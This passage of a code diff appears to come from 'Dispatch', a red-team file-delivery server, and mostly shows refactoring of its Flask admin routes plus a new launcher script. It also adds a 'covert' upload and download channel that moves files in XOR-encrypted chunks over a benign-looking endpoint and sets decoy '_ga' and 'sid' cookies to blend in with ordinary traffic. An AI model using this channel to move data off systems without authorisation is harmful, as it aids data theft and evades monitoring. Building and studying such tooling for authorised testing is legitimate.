'POST']) @auth.upload_only_required - def upload_file(token, status_msg=''): + def upload_file(token, status_msg=None): if request.method == 'POST': + folder_id = request.form.get('folder_id') files = request.files.getlist("file") if len(files) == 0 or files[0].filename == '': - status_msg = Markup('') - return _render_file_form('files/upload.html', token, status_msg) - + status_msg = _page_notice("No File Selected.", False) + return _render_file_form('files/upload.html', token, status_msg, folder_id=folder_id) + for f in files: db = DispatchDB(current_app.config['db_name']) try: - folder_id = request.form.get('folder_id', type=int) + folder_id_int = request.form.get('folder_id', type=int) if config.is_blocked_filename(f.filename): - status_msg = Markup('') - return _render_file_form('files/upload.html', token, status_msg) - target_dir = _ensure_folder_exists(db, folder_id) + status_msg = _page_notice("Uploading .gitignore is not allowed.", False) + return _render_file_form('files/upload.html', token, status_msg, folder_id=folder_id) + target_dir = _ensure_folder_exists(db, folder_id_int) fname, full_path = _safe_file_path(target_dir, f.filename) f.save(full_path) @@ -724,44 +896,48 @@ def upload_file(token, status_msg=''): # File encryption encrypt = request.form.get('encrypt', '') - if not db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id): + if not db.upload_file( + fname, full_path, alias, token['user'], access, encrypt, folder_id_int, + max_downloads=_max_downloads_from_form(), + ): raise Exception("Database Error") except RequestEntityTooLarge: - status_msg = Markup('') - return _render_file_form('files/upload.html', token, status_msg) + status_msg = _page_notice("File Exceed Max Size.", False) + return _render_file_form('files/upload.html', token, status_msg, folder_id=folder_id) except Exception as e: - status_msg = Markup(f'') - return _render_file_form('files/upload.html', token, status_msg) + status_msg = _page_notice(f'File upload failed: {e}', False) + return _render_file_form('files/upload.html', token, status_msg, folder_id=folder_id) finally: db.close() - - status_msg = Markup('') - return redirect(url_for('index')) - return _render_file_form('files/upload.html', token, status_msg) + + return redirect(url_for('index', status='file_uploaded')) + return _render_file_form('files/upload.html', token, status_msg, folder_id=request.args.get('folder')) @app.route('/file/create', methods=['GET', 'POST']) @auth.upload_only_required - def create_file(token, status_msg=''): + def create_file(token, status_msg=None): + form_error = '' + folder_id = request.form.get('folder_id') if request.method == 'POST' else None if request.method == 'POST': - folder_id = request.form.get('folder_id', type=int) + folder_id_int = request.form.get('folder_id', type=int) fname = request.form['filename'] if request.form['filename'] != '' else config.gen_filename() if config.is_blocked_filename(fname): - status_msg = Markup('') - return _render_file_form('files/create.html', token, status_msg) + status_msg = _page_notice("Creating .gitignore is not allowed.", False) + return _render_file_form('files/create.html', token, status_msg, folder_id=folder_id) db = DispatchDB(current_app.config['db_name']) try: - target_dir = _ensure_folder_exists(db, folder_id) + target_dir = _ensure_folder_exists(db, folder_id_int) fname, full_path = _safe_file_path(target_dir, fname) if request.form['file_content']: with open(full_path, 'w') as f: f.write(request.form['file_content']) else: - status_msg = Markup('
No content provided.
') - return _render_file_form('files/create.html', token, status_msg) + form_error = 'No content provided.' + return _render_file_form('files/create.html', token, form_error=form_error, folder_id=folder_id) access_id = request.form.get('access', type=int) access = access_id if access_id is not None and access_id in [1, 2, 3] else 3 @@ -770,18 +946,20 @@ def create_file(token, status_msg=''): alias = config.alias_collision_check(db, alias) encrypt = request.form.get('encrypt', '') - if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id) is not False: + if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id_int) is not False: return redirect(url_for('index')) - status_msg = Markup('') + status_msg = _page_notice("File upload failed.", False) finally: db.close() - return _render_file_form('files/create.html', token, status_msg) + return _render_file_form('files/create.html', token, status_msg, form_error=form_error, folder_id=folder_id) @app.route('/file/download', methods=['GET', 'POST']) @auth.upload_only_required - def download_file(token, status_msg=''): + def download_file(token, status_msg=None): + form_error = '' + folder_id = request.form.get('folder_id') if request.method == 'POST' else None if request.method == 'POST': - folder_id = request.form.get('folder_id', type=int) + folder_id_int = request.form.get('folder_id', type=int) if request.form['filename']: fname = request.form['filename'] else: @@ -789,16 +967,18 @@ def download_file(token, status_msg=''): fname = os.path.basename(u.path) if config.is_blocked_filename(fname): - status_msg = Markup('') - return _render_file_form('files/download.html', token, status_msg) + status_msg = _page_notice("Creating .gitignore is not allowed.", False) + return _render_file_form('files/download.html', token, status_msg, folder_id=folder_id) db = DispatchDB(current_app.config['db_name']) try: - target_dir = _ensure_folder_exists(db, folder_id) + target_dir = _ensure_folder_exists(db, folder_id_int) fname, full_path = _safe_file_path(target_dir, fname) if not config.download_file(request.form['url'], full_path): - status_msg = Markup('
Failed to download file.
') - return _render_file_form('files/download.html', token, status_msg) + form_error = 'Failed to download file.' + return _render_file_form( + 'files/download.html', token, form_error=form_error, folder_id=folder_id + ) access_id = request.form.get('access', type=int) access = access_id if access_id is not None and access_id in [1, 2, 3] else 3 @@ -807,22 +987,22 @@ def download_file(token, status_msg=''): alias = config.alias_collision_check(db, alias) encrypt = request.form.get('encrypt', '') - if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id) is not False: + if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id_int) is not False: return redirect(url_for('index')) - status_msg = Markup('') + status_msg = _page_notice("File upload failed.", False) finally: db.close() - return _render_file_form('files/download.html', token, status_msg) + return _render_file_form('files/download.html', token, status_msg, form_error=form_error, folder_id=folder_id) @app.route('/file/delete', methods=['GET']) @auth.operator_required def delete_file(token): if 'id' in request.args.keys(): - id = request.args.get('id', type=int) + file_guid = request.args.get('id', '') db = DispatchDB(current_app.config['db_name']) - data = db.get_file_by_id(id) + data = db.get_file_by_id(file_guid) if data and os.path.exists(data['file_path']): - db.del_file_by_id(id) + db.del_file_by_id(data['id']) os.remove(data['file_path']) config.log(f"Deleted file: {data['filename']}", token, request.remote_addr) db.close() @@ -836,7 +1016,10 @@ def delete_file(token): def edit_file(token): if request.method == 'POST': db = DispatchDB(current_app.config['db_name']) - data = db.get_file_by_id(request.form.get('id', type=int)) + data = db.get_file_by_id(request.form.get('id', '')) + if not data: + db.close() + return redirect(url_for('index')) og_file_path = data['file_path'] folder_id = data.get('folder_id') folder_dir = _ensure_folder_exists(db, folder_id) @@ -869,18 +1052,22 @@ def edit_file(token): elif full_path != og_file_path: os.rename(og_file_path, full_path) - db.update_file_by_id(request.form['id'], fname, full_path, alias, token['user'], access, encrypt, folder_id) + db.update_file_by_id(data['id'], fname, full_path, alias, token['user'], access, encrypt, folder_id) + db.set_download_limit(data['id'], _max_downloads_from_form()) db.close() return redirect(url_for('index')) if 'id' in request.args.keys(): db = DispatchDB(current_app.config['db_name']) - data = db.get_file_by_id(request.args.get('id', type=int)) + data = db.get_file_by_id(request.args.get('id', '')) db.close() - with open(data['file_path'], 'r') as f: + if not data: + return redirect(url_for('index')) + with open(data['file_path']) as f: try: content = f.read() - except: + except Exception: + logging.debug('File is not valid text; skipping editor preview', exc_info=True) content = False return render_template('files/edit.html', token=token, data=data, content=str(content)) return redirect(url_for('index')) @@ -892,7 +1079,7 @@ def edit_file(token): @auth.admin_required def users(token): status = request.args.get('status') - status_msg = Markup('') + status_msg = None if request.method == 'POST': form_type = request.form.get('form_type') @@ -903,16 +1090,16 @@ def users(token): config.refresh_app_configs(db, current_app) db.close() config.log(f"MFA requirement {'enabled' if mfa_required else 'disabled'}", token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("MFA settings saved.", True) if status == 'user_added': - status_msg = Markup('') + status_msg = _page_notice("User added successfully.", True) elif status == 'user_deleted': - status_msg = Markup('') + status_msg = _page_notice("User deleted successfully.", True) elif status == 'user_delete_failed': - status_msg = Markup('') + status_msg = _page_notice("Failed to delete user.", False) elif status == 'last_admin': - status_msg = Markup('') + status_msg = _page_notice("Cannot delete the last administrator account.", False) return render_template('users/list.html', token=token, config=current_app.config, status_msg=status_msg) @app.route('/user/delete', methods=['GET']) @@ -960,11 +1147,11 @@ def user_add(token, status_msg=''): config.log(f'New user created: {escape(request.form.get("username"))}', token, request.remote_addr) return redirect(url_for('users', status='user_added')) else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Permissions.", False) else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Inputs.", False) else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Username.", False) return render_template('users/add.html', token=token, config=current_app.config, user=False, status_msg=status_msg) @app.route('/user/edit', methods=['GET', 'POST']) @@ -987,13 +1174,13 @@ def user_edit(token, status_msg=''): if password == confirm_password and config.validate_password(password): db.update_user_password_by_id(user_id, password) config.log(f'Changed password for {user["username"]}', token, request.remote_addr) - status_msg = Markup('') + status_msg = _page_notice("User updated successfully.") else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Inputs.", False) else: - status_msg = Markup('') + status_msg = _page_notice("User updated successfully.") else: - status_msg = Markup('') + status_msg = _page_notice("Invalid Permissions.", False) db.close() return render_template('users/add.html', token=token, user=user, status_msg=status_msg) @@ -1036,8 +1223,8 @@ def user_refresh_api_key(token): db.update_key_by_id(int(j['id']), k) config.log(f'Generated API Key for {data["username"]}', token, request.remote_addr) return Response(response=dumps({'key': k}), status=200, mimetype='application/json') - except: - pass + except Exception: + logging.debug('Failed to generate API key', exc_info=True) finally: db.close() return abort(403) @@ -1184,13 +1371,13 @@ def user_mfa_setup(token): db.close() return render_template('users/mfa.html', token=token, user=user, mfa_available=False, mfa_status={'mfa_enabled': False, 'has_secret': False}, - status_msg=Markup('')) + status_msg=_page_notice("MFA not available. Install pyotp and qrcode packages.", False)) mfa_status = db.get_user_mfa_status(user_id) db.close() return render_template('users/mfa.html', token=token, user=user, mfa_status=mfa_status, - mfa_available=True, status_msg=Markup('')) + mfa_available=True, status_msg=None) @app.route('/api/mfa/setup', methods=['POST']) @auth.login_required @@ -1389,6 +1576,16 @@ def api_list_files(token): db.close() return Response(response=dumps(filtered_files), status=200, mimetype='application/json') + + @app.route('/api/files/revision', methods=['GET']) + @auth.upload_only_required + def api_files_revision(token): + db = DispatchDB(current_app.config['db_name']) + try: + revision = db.file_listing_revision() + finally: + db.close() + return Response(response=dumps({'revision': revision}), status=200, mimetype='application/json') @app.route('/api/files/minimal-list', methods=['GET']) @auth.upload_only_required @@ -1409,13 +1606,17 @@ def api_minimal_list_files(token): def api_update_file_access(token): try: j = request.get_json(force=True) - if int(j['id']) and int(j['access']) in [1, 2, 3]: + file_guid = j.get('id') + access = int(j.get('access')) + if isinstance(file_guid, str) and access in [1, 2, 3]: db = DispatchDB(current_app.config['db_name']) - db.update_access_by_id(int(j['id']), int(j['access'])) + if not db.update_access_by_id(file_guid, access): + db.close() + return abort(404) db.close() return Response(response=dumps({'200': 'Success'}), status=200, mimetype='application/json') - except: - pass + except Exception: + logging.debug('Failed to update file access', exc_info=True) return abort(403) @app.route('/api/file/upload', methods=['POST']) @@ -1453,12 +1654,12 @@ def api_upload_file(token): if db.upload_file(fname, full_path, alias, token['user'], access, encrypt, folder_id) is not False: return Response(response=dumps({'url': alias_url}), status=200, mimetype='application/json') except Exception: - pass + logging.debug('API file upload failed', exc_info=True) finally: try: db.close() except Exception: - pass + logging.debug('Failed to close database after API upload', exc_info=True) return abort(403) @app.route('/api/files/param-key', methods=['GET']) @@ -1497,7 +1698,7 @@ def api_reload_files(token): added_folders = 0 removed_folders = 0 - for root, dirs, files in os.walk(upload_dir): + for root, _dirs, files in os.walk(upload_dir): rel_dir = os.path.relpath(root, upload_dir) rel_dir = '' if rel_dir == '.' else rel_dir parent_id = None @@ -1718,7 +1919,7 @@ def api_move_file_to_folder(token): return abort(400) db = DispatchDB(current_app.config['db_name']) - file_data = db.get_file_by_id(int(file_id)) + file_data = db.get_file_by_id(str(file_id)) if not file_data: db.close() return abort(404) @@ -1732,7 +1933,7 @@ def api_move_file_to_folder(token): db.close() if result is not False: - config.log(f"Moved file ID {file_id} to folder {folder_id}", token, request.remote_addr) + config.log(f"Moved file {file_data['id']} to folder {folder_id}", token, request.remote_addr) return Response(response=dumps({'message': 'File moved'}), status=200, mimetype='application/json') except Exception as e: logging.debug(f"Error moving file: {e}") @@ -1763,12 +1964,14 @@ def api_update_folder_access(token): logging.debug(f"Error updating folder access: {e}") return abort(403) - @app.route('/file/get/', methods=['GET']) + @app.route('/file/get/', methods=['GET']) @auth.login_required def admin_download_file_by_id(token, file_id): db = DispatchDB(current_app.config['db_name']) try: file_data = db.get_file_by_id(file_id) + if not file_data: + return abort(404) folder_access_map = {folder['id']: folder['access'] for folder in db.list_folders()} if not _can_access_admin_file(token, file_data, folder_access_map): return abort(403) @@ -1776,10 +1979,10 @@ def admin_download_file_by_id(token, file_id): config.log(f'Admin file access: {file_data["filename"]}', token, request.remote_addr) try: from dispatch.alerts import check_file_download_alert, check_ip_activity_alert - check_file_download_alert(current_app.config['db_name'], file_data['id'], file_data['filename'], token.get('user'), request.remote_addr) + check_file_download_alert(current_app.config['db_name'], file_data['row_id'], file_data['filename'], token.get('user'), request.remote_addr) check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'Admin file: {file_data["filename"]}') except Exception: - pass + logging.debug('Admin download alert failed', exc_info=True) return _serve_admin_file(file_data['file_path'], file_data['filename'], encrypt=file_data['encrypt']) finally: db.close() @@ -1799,10 +2002,10 @@ def admin_download_file_by_alias(token, alias): config.log(f'Admin file access: {file_data["filename"]}', token, request.remote_addr) try: from dispatch.alerts import check_file_download_alert, check_ip_activity_alert - check_file_download_alert(current_app.config['db_name'], file_data['id'], file_data['filename'], token.get('user'), request.remote_addr) + check_file_download_alert(current_app.config['db_name'], file_data['row_id'], file_data['filename'], token.get('user'), request.remote_addr) check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'Admin file: {file_data["filename"]}') except Exception: - pass + logging.debug('Admin download alert failed', exc_info=True) return _serve_admin_file(file_data['file_path'], file_data['filename'], encrypt=file_data['encrypt']) finally: db.close() @@ -1813,7 +2016,7 @@ def admin_download_file_by_alias(token, alias): @app.route('/scripts', methods=['GET']) @auth.operator_required def scripts_page(token): - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) has_webhook = False try: @@ -1827,7 +2030,7 @@ def scripts_page(token): @app.route('/api/scripts/list', methods=['GET']) @auth.operator_required def api_list_scripts(token): - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) db = DispatchDB(current_app.config['db_name']) scripts = db.list_scripts() @@ -1838,7 +2041,7 @@ def api_list_scripts(token): @auth.operator_required def api_create_script(token): try: - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) j = request.get_json(force=True) name = j.get('name', '').strip() @@ -1877,7 +2080,7 @@ def api_create_script(token): @auth.operator_required def api_update_script(token): try: - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) j = request.get_json(force=True) script_id = j.get('id') @@ -1917,7 +2120,7 @@ def api_update_script(token): @auth.operator_required def api_delete_script(token): try: - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) j = request.get_json(force=True) script_id = j.get('id') @@ -1942,7 +2145,7 @@ def api_delete_script(token): @auth.operator_required def api_execute_script(token): try: - if current_app.config.get('disable_exec'): + if not current_app.config.get('script_interface'): return abort(403) j = request.get_json(force=True) script_id = j.get('id') @@ -2042,8 +2245,8 @@ def api_execute_script(token): notify_plain=bool(script.get('notify_plain', 0)), notify_plain_no_codeblock=bool(script.get('notify_plain_no_codeblock', 0)) ) - except: - pass + except Exception: + logging.debug('Failed to send script failure notification', exc_info=True) return Response(response=dumps({ 'success': False, 'output': error_output, diff --git a/dispatch/cli.py b/dispatch/cli.py new file mode 100644 index 0000000..587ff99 --- /dev/null +++ b/dispatch/cli.py @@ -0,0 +1,276 @@ +#!/usr/bin/env python3 +from gevent import monkey +monkey.patch_all() + +import os +import ssl +import sys +import logging +import argparse +import socket +import gevent +from dispatch import config +from dispatch.db import DispatchDB +from dispatch.script_scheduler import scheduler +from gevent.pywsgi import WSGIServer +from gevent import spawn, get_hub +from dispatch.admin_app import DispatchServer as AdminDispatchServer +from dispatch.client_app import ClientServer + + +banner = rf''' + ____ _ _ _ ____ + | _ \(_)___ _ __ __ _| |_ ___| |__ / ___| ___ _ ____ _____ _ __ + | | | | / __| '_ \ / _` | __/ __| '_ \ ____\___ \ / _ \ '__\ \ / / _ \ '__| + | |_| | \__ \ |_) | (_| | || (__| | | |_____|__) | __/ | \ V / __/ | + |____/|_|___/ .__/ \__,_|\__\___|_| |_| |____/ \___|_| \_/ \___|_| + |_| + @m8sec | {config.VERSION} +''' + + +# Quiet logger for WSGIServer that ignores expected TLS handshake noise +class QuietWSGILogger: + def write(self, msg): + ignored_markers = ( + 'SSLEOFError', + 'SSLError', + 'UNEXPECTED_EOF', + 'SSLV3_ALERT_BAD_CERTIFICATE', + 'SSLV3_ALERT_CERTIFICATE_UNKNOWN', + 'sslv3 alert bad certificate', + 'sslv3 alert certificate unknown', + 'HTTP_REQUEST', + 'http request', + 'failed with SSLError', + ) + if not any(marker in msg for marker in ignored_markers): + sys.stderr.write(msg) + + +class QuietWSGIServer(WSGIServer): + def wrap_socket_and_handle(self, client_socket, address): + try: + return super().wrap_socket_and_handle(client_socket, address) + except ssl.SSLError as exc: + # Silently ignore common SSL errors (bad certs, HTTP on HTTPS port, etc.) + message = str(exc) + ignored_markers = ( + 'SSLV3_ALERT_BAD_CERTIFICATE', + 'SSLV3_ALERT_CERTIFICATE_UNKNOWN', + 'sslv3 alert bad certificate', + 'sslv3 alert certificate unknown', + 'TLSV1_ALERT_UNKNOWN_CA', + 'tlsv1 alert unknown ca', + 'UNKNOWN_CA', + 'HTTP_REQUEST', + 'http request', + 'WRONG_VERSION_NUMBER', + 'wrong version number', + ) + if any(marker in message for marker in ignored_markers): + return + raise + +def main(): + parser = argparse.ArgumentParser(description="Run the Dispatch admin and client servers.") + parser.add_argument('--debug', action='store_true', help='Run only the admin interface in Flask debug mode.') + parser.add_argument('--http', action='store_true', help='Serve over HTTP instead of HTTPS.') + # Default listener bind; operators can override with --bind-host. + parser.add_argument('--bind-host', type=str, default='0.0.0.0', help='Bind address for both listeners (default: 0.0.0.0).') # noqa: S104 + parser.add_argument('--admin-port', type=int, default=8443, help='Port for the admin interface (default: 8443).') + parser.add_argument('--client-port', type=int, default=443, help='Port for client file delivery (default: 443).') + parser.add_argument('--external-host', type=str, default=None, help='External hostname or IP stored in settings for generated links.') + parser.add_argument('--enable-script-interface', action='store_true', + help='Enable the script interface and scheduler. Off by default.') + args = parser.parse_args() + cli_args = sys.argv[1:] + + def cli_option_provided(name): + return any(arg == name or arg.startswith(f'{name}=') for arg in cli_args) + + if args.http: + # Avoid binding to privileged/common HTTP ports unless the operator chose them explicitly. + if not cli_option_provided('--admin-port') and args.admin_port == 8443: + args.admin_port = 8080 + if not cli_option_provided('--client-port') and args.client_port == 443: + args.client_port = 8000 + + if args.admin_port == args.client_port and not args.debug: + print(f'[!] ERROR: admin-port and client-port cannot both use {args.admin_port}.') + print('[!] Choose distinct ports, for example: --admin-port 8080 --client-port 8000') + sys.exit(1) + + + print(banner) + if not os.path.exists(config.DB_NAME): + print('[*] No database file found. Starting setup...') + print('[*] Generating SSL certificates...') + config.generate_ssl_cert(config.CERT_PATH, config.KEY_PATH, + country=config.COUNTRY, cn=config.CN, + org=config.ORG, ou=config.OU, + valid=config.VALID_DAYS) + + print('[*] Creating new Dispatch database...') + db = DispatchDB(config.DB_NAME) + db.setup_db() + db.close() + print(f'[*] Login with default user: {config.DEFAULT_USER}') + print(f'[*] Randomly generated password: {config.DEFAULT_PWD}\n') + + + admin_server = AdminDispatchServer() + admin_app = admin_server.app + client_server = ClientServer() + client_app = client_server.app + db = DispatchDB(config.DB_NAME) + + # Update external host if provided + if args.external_host: + db.update_external_host(args.external_host) + + # Persist listener ports into settings database + if args.admin_port or args.client_port: + current_settings = db.get_settings() + db.update_settings( + current_settings['redirect_url'], + current_settings['source_ip'], + args.admin_port , + current_settings['max_file_size'], + current_settings['server_header'], + args.client_port + ) + print(f'[+] Updated database with admin_port={args.admin_port }, client_port={args.client_port}') + + # Reload settings and display + ext = db.get_settings() + protocol = "http" if args.http else "https" + + config.refresh_app_configs(db, admin_app) + config.refresh_app_configs(db, client_app) + db.close() + config.setup_dispatch_logger(log_name='dispatch-logger') + admin_app.config['script_interface'] = bool(args.enable_script_interface) + client_app.config['script_interface'] = bool(args.enable_script_interface) + if args.enable_script_interface: + scheduler.start() + else: + scheduler.stop() + + # Setup SSL context + if args.http: + print('[!] WARNING: Setting protocol to HTTP. This is NOT recommended for production environments!') + print('[!] WARNING: navigator.clipboard requires HTTPS. Clipboard copy functions will NOT work via HTTP.') + context = None + else: + context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) + context.load_cert_chain(config.CERT_PATH, config.KEY_PATH) + + def ensure_port_available(host, port, label): + probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + probe.bind((host, port)) + except OSError as exc: + print(f'[!] ERROR: Could not bind {label} listener to {host}:{port}: {exc}') + if exc.errno == 98: + print(f'[!] Port {port} is already in use. Specify a different port with --{"admin" if label == "admin" else "client"}-port.') + elif exc.errno == 13: + print(f'[!] Permission denied on port {port}. Use a port above 1024 or run with the required privileges.') + sys.exit(1) + finally: + probe.close() + + # Start servers + ensure_port_available(args.bind_host, args.admin_port, 'admin') + if not args.debug: + ensure_port_available(args.bind_host, args.client_port, 'client') + + print(f'[+] Starting Admin console on: {protocol}://{args.bind_host}:{args.admin_port}/') + print(f'[+] Starting Client delivery on: {protocol}://{ext["source_ip"]}:{args.client_port}/\n') + + if args.debug: + config.setup_debug_logger() + # In debug mode, only run admin server (can't run two Flask debug servers) + print('[!] Debug mode: Only running admin server') + admin_app.run( + host=args.bind_host, + port=args.admin_port, + ssl_context=context, + debug=True, + threaded=True, + use_debugger=False, + use_reloader=True + ) + else: + # Suppress expected TLS handshake aborts from clients that reject the self-signed cert. + hub = get_hub() + hub.NOT_ERROR += (ssl.SSLEOFError, ssl.SSLError,) + + server_kwargs = {'ssl_context': context} if context else {} + # Use quiet logger to suppress SSL errors in server output + server_kwargs['log'] = QuietWSGILogger() + server_kwargs['error_log'] = QuietWSGILogger() + + def create_server(port, flask_app): + return QuietWSGIServer((args.bind_host , port), flask_app, **server_kwargs) + + # Create admin server (full app) + admin_server = create_server(args.admin_port, admin_app) + + # Create client server (client app handles file delivery) + client_server = create_server(args.client_port, client_app) + + # Run both servers concurrently + def run_admin(): + admin_server.serve_forever() + + def run_client(): + client_server.serve_forever() + + # Spawn both servers + admin_greenlet = spawn(run_admin) + client_greenlet = spawn(run_client) + last_client_port = args.client_port + + def monitor_ports(): + nonlocal client_server, client_greenlet, last_client_port + while True: + gevent.sleep(2) + try: + db = DispatchDB(config.DB_NAME) + settings = db.get_settings() + db.close() + except Exception: + logging.debug('Unable to read client port from settings', exc_info=True) + continue + + new_client_port = settings.get('client_port', last_client_port) + if new_client_port != last_client_port: + try: + client_server.stop() + except Exception: + logging.debug('Failed to stop previous client listener', exc_info=True) + try: + client_greenlet.kill() + except Exception: + logging.debug('Failed to stop previous client greenlet', exc_info=True) + last_client_port = new_client_port + client_server = create_server(last_client_port, client_app) + client_greenlet = spawn(client_server.serve_forever) + + monitor_greenlet = spawn(monitor_ports) + + try: + # Wait for both (this will block until interrupted) + admin_greenlet.join() + client_greenlet.join() + monitor_greenlet.join() + except KeyboardInterrupt: + print('\n[*] Shutting down servers...') + admin_server.stop() + client_server.stop() + + +if __name__ == "__main__": + main() diff --git a/dispatch/client_app.py b/dispatch/client_app.py index 9259d02..acc0394 100644 --- a/dispatch/client_app.py +++ b/dispatch/client_app.py @@ -3,6 +3,7 @@ import logging import requests import json +import jwt import base64 from io import BytesIO from json import dumps @@ -28,7 +29,7 @@ def _read_upload_meta(meta_path): if not os.path.isfile(meta_path): return None try: - with open(meta_path, 'r', encoding='utf-8') as f: + with open(meta_path, encoding='utf-8') as f: return json.loads(f.read()) except Exception: return None @@ -38,13 +39,69 @@ def _delete_upload_meta(meta_path): try: os.remove(meta_path) except Exception: - pass + logging.debug('Failed to remove upload metadata %s', meta_path, exc_info=True) def _generate_upload_key(num=12): return os.urandom(num).hex() +def _request_user_agent(): + try: + return (request.user_agent.string or '')[:512] + except Exception: + logging.debug('Unable to read User-Agent', exc_info=True) + return (request.headers.get('User-Agent') or '')[:512] + + +def _client_identity(db): + """Identify a client for the activity log without refreshing cookies or storing secrets.""" + api_key = request.headers.get(config.API_HEADER) + if api_key: + data = db.validate_api_key(api_key) + if data: + return data.get('user'), 'api_key' + return None, 'invalid_api_key' + + raw = request.cookies.get(config.COOKIE_NAME) + if not raw: + return None, 'none' + try: + data = jwt.decode(raw, config.SECRET_KEY, algorithms=['HS256']) + return data.get('user'), 'session' + except Exception: + logging.debug('Unreadable client session cookie', exc_info=True) + return None, 'invalid_session' + + +def _record_file_request(db, path, result, username=None, auth_method='none'): + try: + db.add_file_request( + path=(path or '')[:1024], + result=result, + client_ip=request.remote_addr or '', + user_agent=_request_user_agent(), + username=username or None, + auth_method=auth_method or 'none', + ) + except Exception: + logging.debug('Failed to record file request', exc_info=True) + + +def _audit_file_request(path, result): + """Log a request that is rejected before the main database connection is open.""" + db = None + try: + db = DispatchDB(current_app.config['db_name']) + username, auth_method = _client_identity(db) + _record_file_request(db, path, result, username, auth_method) + except Exception: + logging.debug('Failed to open database for file request log', exc_info=True) + finally: + if db: + db.close() + + def _xor_bytes(data, key_bytes): key_len = len(key_bytes) if key_len == 0: @@ -52,7 +109,187 @@ def _xor_bytes(data, key_bytes): return bytes(b ^ key_bytes[i % key_len] for i, b in enumerate(data)) -class ClientServer(object): +def _upload_token(): + """Upload role or higher. Does not refresh cookies.""" + raw = auth.validateKey(request) if request.headers.get(config.API_HEADER) else auth.validateToken(request) + if isinstance(raw, dict) and raw.get('role', 0) >= 2: + return raw + return None + + +def _download_token(): + raw = auth.validateKey(request) if request.headers.get(config.API_HEADER) else auth.validateToken(request) + if isinstance(raw, dict) and raw.get('role') in {1, 3, 4}: + return raw + return None + + +def _json(payload, status=200, **cookie): + resp = Response(response=dumps(payload), status=status, mimetype='application/json') + if cookie: + resp.set_cookie(cookie['name'], cookie['value'], **config.auth_cookie_settings(request)) + return resp + + +COVERT_CHUNK = 256 + + +def _covert_fetch(): + """Chunked XOR download on the same benign endpoint as covert upload.""" + alias = request.values.get('fetch', '') + db = DispatchDB(current_app.config['db_name']) + try: + record = db.get_file_by_alias(alias) + username, auth_method = _client_identity(db) + if not record or not os.path.isfile(record['file_path']): + _record_file_request(db, alias or 'fetch', 'not_found', username, auth_method) + return _json({'error': 'not found'}, 404) + if record['access'] >= 3: + token = _download_token() + if not token: + _record_file_request(db, alias, 'auth_failure', username, auth_method) + return _json({'error': 'auth required'}, 401) + username = token.get('user') + auth_method = 'api_key' if request.headers.get(config.API_HEADER) else 'session' + size = os.path.getsize(record['file_path']) + if request.values.get('init'): + if not db.consume_download(record['id']): + _record_file_request(db, alias, 'denied', username, auth_method) + return _json({'error': 'download limit reached'}, 403) + key = _generate_upload_key() + _record_file_request(db, alias, 'served', username, auth_method) + return _json( + {'status': 'active', 'size': size, 'chunk': COVERT_CHUNK}, + name='csrf', + value=key, + ) + key = request.values.get('key') or request.cookies.get('csrf') + if not key: + return _json({'error': 'missing key'}, 400) + try: + offset = int(request.values.get('off', 0)) + except (TypeError, ValueError): + return _json({'error': 'bad offset'}, 400) + offset = max(offset, 0) + with open(record['file_path'], 'rb') as handle: + handle.seek(offset) + raw = handle.read(COVERT_CHUNK) + encrypted = base64.b64encode(_xor_bytes(raw, key.encode('utf-8'))).decode('ascii') + next_off = offset + len(raw) + return _json({ + 'status': 'chunk', + 'data': encrypted, + 'off': offset, + 'next': next_off, + 'eof': next_off >= size, + }) + finally: + db.close() + + +def _covert_upload_body(token): + cookie_name = 'csrf' # Default cookie name for upload key + # Upload files using GET or POST. Chunks are XOR'd and base64'd. + init = request.values.get('init') + key = request.values.get('key') + data = request.values.get('data') + + if init: + filename = request.values.get('filename') or f'upload_{config.get_timestamp()}.bin' + filename = secure_filename(filename) or f'upload_{config.get_timestamp()}.bin' + os.makedirs(config.FILE_PATH, exist_ok=True) + + safe_name = config.file_collision_check(filename) + key = _generate_upload_key() + part_name = f'.upload_{key}.part' + part_path = os.path.join(config.FILE_PATH, part_name) + meta_path = _upload_meta_path(key) + + with open(part_path, 'wb') as f: + f.write(b'') + + + meta = { + 'filename': safe_name, + 'part_name': part_name, + } + _write_upload_meta(meta_path, meta) + resp = Response( + response=dumps({'status': 'active'}), + status=200, + mimetype='application/json' + ) + + resp.set_cookie("csrf", key, **config.auth_cookie_settings(request)) + resp.set_cookie("_ga", _generate_upload_key(16), **config.auth_cookie_settings(request)) + resp.set_cookie("sid", _generate_upload_key(8), **config.auth_cookie_settings(request)) + return resp + + if not key: + key = request.cookies.get(cookie_name) + + if not key or data is None: + return Response( + response=dumps({'error': 'missing key or data'}), + status=400, + mimetype='application/json' + ) + + meta_path = _upload_meta_path(key) + meta = _read_upload_meta(meta_path) + if not meta: + return Response( + response=dumps({'error': 'invalid key'}), + status=404, + mimetype='application/json' + ) + + try: + encrypted_bytes = base64.b64decode(data, validate=True) + except Exception: + return Response( + response=dumps({'error': 'invalid data encoding'}), + status=400, + mimetype='application/json' + ) + + part_path = os.path.join(config.FILE_PATH, meta['part_name']) + decrypted_bytes = _xor_bytes(encrypted_bytes, key.encode('utf-8')) + eof_index = decrypted_bytes.find(b'') + chunk = decrypted_bytes if eof_index == -1 else decrypted_bytes[:eof_index] + + with open(part_path, 'ab') as f: + f.write(chunk) + + if eof_index != -1: + final_name = config.file_collision_check(meta['filename']) + final_path = os.path.join(config.FILE_PATH, final_name) + os.replace(part_path, final_path) + _delete_upload_meta(meta_path) + alias = None + db = 